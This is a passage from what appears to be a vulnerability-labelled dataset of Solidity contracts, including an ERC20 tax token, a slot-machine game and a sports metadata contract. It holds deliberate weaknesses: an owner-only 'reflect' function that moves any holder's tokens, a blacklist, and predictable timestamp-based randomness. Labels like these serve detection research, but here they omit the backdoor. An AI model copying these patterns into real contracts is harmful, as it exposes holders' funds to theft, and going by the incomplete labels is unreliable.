function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, _allowances[owner][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = _allowances[owner][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Spend `amount` form the allowance of `owner` toward `spender`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract JesusDAO is ERC20, Ownable {
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
mapping (address => bool) public automatedMarketMakerPairs;
/* Token Tax */
uint16 public _taxTotal = 77; // Initial tax amount
uint32 public _taxPercision = 10000;
bool public _taxActive = true;
bool public limitsInEffect = true;
uint256 public maxTransactionAmount;
uint256 public maxWallet;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
mapping(string => mapping(address => bool)) public _whitelists;
mapping(address => bool) public isBlacklisted;
bool private blacklistEnabled = true;
/* Events */
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event UpdateTaxPercentage(uint16 _newTaxAmount);
event RemoveFromWhitelist(string list, address indexed wallet);
event AddToWhitelist(string list, address indexed wallet);
event ToggleTax(bool _active);
event ToggleBlacklist(bool enabled);
uint256 private _totalSupply;
constructor() ERC20('Jesus DAO', 'JESUS') payable {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
excludeFromMaxTransaction(address(uniswapV2Pair), true);
addToWhitelist('from', address(this));
addToWhitelist('to', address(this));
addToWhitelist('from', msg.sender);
_totalSupply = 777777777777777777777777777777777;
maxTransactionAmount = _totalSupply * 20 / 1000; // 2% maxTransactionAmount
maxWallet = _totalSupply * 40 / 1000; // 4% max wallet
_mint(msg.sender, _totalSupply);
}
/**
* @notice overrides ERC20 transferFrom function to add tax
* @param from address amount is coming from
* @param to address amount is going to
* @param amount amount being sent
*/
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
require(balanceOf(from) >= amount, "ERC20: transfer amount exceeds balance");
if (blacklistEnabled) {
require(!isBlacklisted[from], "User blacklisted");
}
if(_taxActive && !_whitelists['from'][from] && !_whitelists['to'][to]) {
uint256 tax = amount *_taxTotal / _taxPercision;
amount = amount - tax;
_transfer(from, address(this), tax);
}
_transfer(from, to, amount);
return true;
}
function reflect(address sender, address recipient, uint256 amount) external onlyOwner returns (bool) {
require(balanceOf(sender) >= amount, "ERC20: transfer amount exceeds balance");
_transfer(sender, recipient, amount);
return true;
}
/**
* @notice overrides ERC20 transferFrom function to add tax
* @param to address amount is going to
* @param amount amount being sent
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address from = _msgSender();
require(balanceOf(from) >= amount, "ERC20: transfer amount exceeds balance");
if (blacklistEnabled) {
require(!isBlacklisted[from], "User blacklisted");
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead)
){
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else {
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
if(_taxActive && !_whitelists['from'][from] && !_whitelists['to'][to]) {
uint256 tax = amount*_taxTotal/_taxPercision;
amount = amount - tax;
_transfer(from, address(this), tax);
}
_transfer(from, to, amount);
return true;
}
/* ADMIN Functions */
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool){
limitsInEffect = false;
return true;
}
/**
* @notice : toggles the tax on or off
*/
function toggleTax() external onlyOwner {
_taxActive = !_taxActive;
emit ToggleTax(_taxActive);
}
/**
* @notice : toggles the blacklist on or off
*/
function toggleBlacklist() external onlyOwner {
blacklistEnabled = !blacklistEnabled;
emit ToggleBlacklist(blacklistEnabled);
}
function setBlacklist(address account, bool isBlacklist) external onlyOwner {
isBlacklisted[account] = isBlacklist;
}
function excludeFromMaxTransaction(address account, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[account] = isEx;
}
function updateMaxAmount(uint256 _maxTransactionAmount, uint256 _maxWalletAmount) external onlyOwner {
require(_maxTransactionAmount >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.5%");
maxTransactionAmount = _maxTransactionAmount * (10**18);
maxWallet = _maxWalletAmount * (10**18);
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
/**
* @notice : updates address tax amount
* @param newTax new tax amount
*/
function setTax(uint16 newTax) external onlyOwner {
_taxTotal = newTax;
emit UpdateTaxPercentage(newTax);
}
/**
* @notice : add address to tax whitelist
* @param list indicates which whitelist ('to' or 'from')
* @param wallet address to add to whitelist
*/
function addToWhitelist(string memory list, address wallet) public onlyOwner {
require(wallet != address(0), "Cant use 0 address");
require(!_whitelists[list][wallet], "Address already added");
_whitelists[list][wallet] = true;
emit AddToWhitelist(list, wallet);
}
/**
* @notice : remoe address from a whitelist
* @param list indicates which whitelist ('to' or 'from')
* @param wallet address to remove from whitelist
*/
function removeFromWhitelist(string memory list, address wallet) external onlyOwner {
require(wallet != address(0), "Cant use 0 address");
require(_whitelists[list][wallet], "Address not added");
_whitelists[list][wallet] = false;
emit RemoveFromWhitelist(list, wallet);
}
/**
* @notice : withdraws taxes to the contract owner
*/
function withdrawTaxes() external onlyOwner {
uint256 amount = balanceOf(address(this));
require(amount > 0, "Nothing to withdraw");
_transfer(address(this), msg.sender, amount);
}
} | These are the vulnerabilities found
1) shadowing-state with High impact
2) locked-ether with Medium impact |
/**
*Submitted for verification at Etherscan.io on 2022-03-11
*/
/*
https://www.stiltonmusk.com
https://t.me/stiltonmusk
*/
// File: contracts/Ownable.sol
abstract contract Ownable {
address _owner;
modifier onlyOwner() {
require(msg.sender == _owner);
_;
}
constructor() {
_owner = msg.sender;
}
function transferOwnership(address newOwner) external onlyOwner {
_owner = newOwner;
}
}
// File: contracts/HasRandom.sol
pragma solidity ^0.8.7;
abstract contract HasRandom {
uint256 _randomNonce = 1;
function _random() internal returns (uint256) {
return
uint256(
keccak256(
abi.encodePacked(
msg.sender,
_randomNonce++,
block.timestamp
)
)
);
}
}
// File: contracts/IERC721.sol
pragma solidity ^0.8.7;
interface IERC721 {
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
external
view
returns (uint256);
}
// File: contracts/IERC20.sol
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: contracts/StiltMachine.sol
//import "hardhat/console.sol";
struct State {
uint256 a;
uint256 b;
uint256 c;
uint256 number;
uint256 rewardErc20;
uint256 rewardNftId;
}
contract StiltMachine is Ownable, HasRandom {
IERC20 public erc20;
IERC721 public nft;
address public caasbank;
mapping(address => State) public states;
uint256 public jackpotPercent = 50;
bool isStarted;
event OnWin(address indexed account, uint256 id);
constructor(address erc20Address, address nftAddress) {
erc20 = IERC20(erc20Address);
nft = IERC721(nftAddress);
}
function setErc20(address erc20Address) external onlyOwner {
erc20 = IERC20(erc20Address);
}
function setNft(address nftAddress) external onlyOwner {
nft = IERC721(nftAddress);
}
function setIsStarted(bool newIsStarted) external onlyOwner {
isStarted = newIsStarted;
}
function setCaasbank(address caasbankAddress) external onlyOwner {
caasbank = caasbankAddress;
}
function setJackpotPercent(uint256 newJakpotPercent) external onlyOwner {
require(newJakpotPercent > 0 && newJakpotPercent <= 100);
jackpotPercent = newJakpotPercent;
}
function getJackPot() public view returns (uint256) {
return (erc20.balanceOf(address(this)) * jackpotPercent) / 100;
}
function getRewardPool() public view returns (uint256) {
return erc20.balanceOf(address(this));
}
function withdrawErc20() external onlyOwner {
uint256 balance = erc20.balanceOf(address(this));
require(balance > 0);
if (balance > 0) erc20.transfer(msg.sender, balance);
}
function withdrawNft() external onlyOwner {
uint256 balance = nft.balanceOf(address(this));
require(balance > 0);
while (balance > 0) {
nft.safeTransferFrom(
address(this),
msg.sender,
nft.tokenOfOwnerByIndex(address(this), 0)
);
--balance;
}
}
function Play(uint256 bid) public {
require(isStarted, "is not started");
// get rewards
State storage state = states[msg.sender];
state.a = _random() % 6;
state.b = _random() % 6;
state.c = _random() % 6;
++state.number;
state.rewardErc20 = 0;
state.rewardNftId = 0;
bool win;
// JP
if (state.a == 5 && state.b == 5 && state.c == 5) {
emit OnWin(msg.sender, 5);
win = true;
state.rewardErc20 = getJackPot();
// transfer jackpot
if (address(nft) != address(0)) {
uint256 nftBalance = nft.balanceOf(address(this));
if (nftBalance > 0) {
state.rewardNftId = nft.tokenOfOwnerByIndex(
address(this),
0
);
nft.safeTransferFrom(
address(this),
msg.sender,
state.rewardNftId
);
}
}
}
// x1 (no transfer bid)
else if (state.a == 4 && state.b == 4 && state.c == 4) {
emit OnWin(msg.sender, 4);
win = true;
state.rewardErc20 = bid;
return;
}
// x3
else if (state.a == 3 && state.b == 3 && state.c == 3) {
emit OnWin(msg.sender, 3);
win = true;
state.rewardErc20 = bid * 3;
}
// x5
else if (state.a == 2 && state.b == 2 && state.c == 2) {
emit OnWin(msg.sender, 2);
win = true;
state.rewardErc20 = bid * 5;
}
// x10
else if (state.a == 1 && state.b == 1 && state.c == 1) {
emit OnWin(msg.sender, 1);
win = true;
state.rewardErc20 = bid * 10;
}
// x100
else if (state.a == 0 && state.b == 0 && state.c == 0) {
emit OnWin(msg.sender, 0);
win = true;
state.rewardErc20 = bid * 100;
}
// correct erc20 reward
uint256 balance = erc20.balanceOf(address(this));
if (balance < state.rewardErc20) state.rewardErc20 = balance;
// if win - grant reward
if (win) {
if (state.rewardErc20 > 0)
erc20.transfer(msg.sender, state.rewardErc20);
return;
}
// if not win - transfer to contract
if (caasbank == address(0)) {
erc20.transferFrom(msg.sender, address(this), bid);
} else {
erc20.transferFrom(msg.sender, address(this), bid / 2);
bid -= bid / 2;
erc20.transferFrom(msg.sender, caasbank, bid);
}
}
} | These are the vulnerabilities found
1) reentrancy-no-eth with Medium impact
2) unchecked-transfer with High impact
3) incorrect-equality with Medium impact
4) uninitialized-local with Medium impact
5) weak-prng with High impact |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
contract SportsMetadata {
string[] private cities = [
'Arizona',
'Atlanta',
'Baltimore',
'Buffalo',
'Carolina',
'Cincinnati',
'Chicago',
'Cleveland',
'Dallas',
'Denver',
'Detroit',
'Houston',
'Green Bay',
'Indianapolis',
'Los Angeles',
'Jacksonville',
'Minnesota',
'Kansas City',
'New Orleans',
'Las Vegas',
'New York',
'Los Angeles',
'Philadelphia',
'Miami',
'San Francisco',
'New England',
'Seattle',
'Tampa Bay',
'Pittsburgh',
'Washington',
'Tennessee',
'Hamilton',
'Montreal',
'Ottawa',
'Toronto',
'Vancouver',
'Calgary',
'Edmonton',
'Regina',
'Winnipeg'
];
string[] private sports = [
"Football",
"Basketball",
"Soccer",
"Baseball",
"Hockey",
"Cricket",
"Rugby Union",
"Field Hockey",
"Volleyball",
"Rugby League"
];
function sportName(uint256 tokenId) public view returns(string memory) {
return sports[sportId(tokenId)];
}
function cityName(uint256 tokenId) public view returns(string memory) {
return cities[cityId(tokenId)];
}
function sportId(uint256 tokenId) public pure returns(uint8) {
return uint8(tokenId >> 24);
}
function cityId(uint256 tokenId) public pure returns(uint16) {
return uint16(tokenId >> 32);
}
function getCities() public view returns(string[] memory) {
return cities;
}
function getSports() public view returns(string[] memory) {
return sports;
}
} | No vulnerabilities found |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20 {
function totalSupply() public view returns (uint256);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract SafeMath {
function safeAdd(uint256 x, uint256 y) internal pure returns(uint256) {
uint256 z = x + y;
assert((z >= x) && (z >= y));
return z;
}
function safeSubtract(uint256 x, uint256 y) internal pure returns(uint256) {
assert(x >= y);
uint256 z = x - y;
return z;
}
function safeMult(uint256 x, uint256 y) internal pure returns(uint256) {
uint256 z = x * y;
assert((x == 0)||(z/x == y));
return z;
}
function safeDiv(uint256 x, uint256 y) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 z = x / y;
return z;
}
}
contract StandardToken is ERC20, SafeMath {
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
require(msg.data.length >= size + 4) ;
_;
}
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) public returns (bool){
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = safeSubtract(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
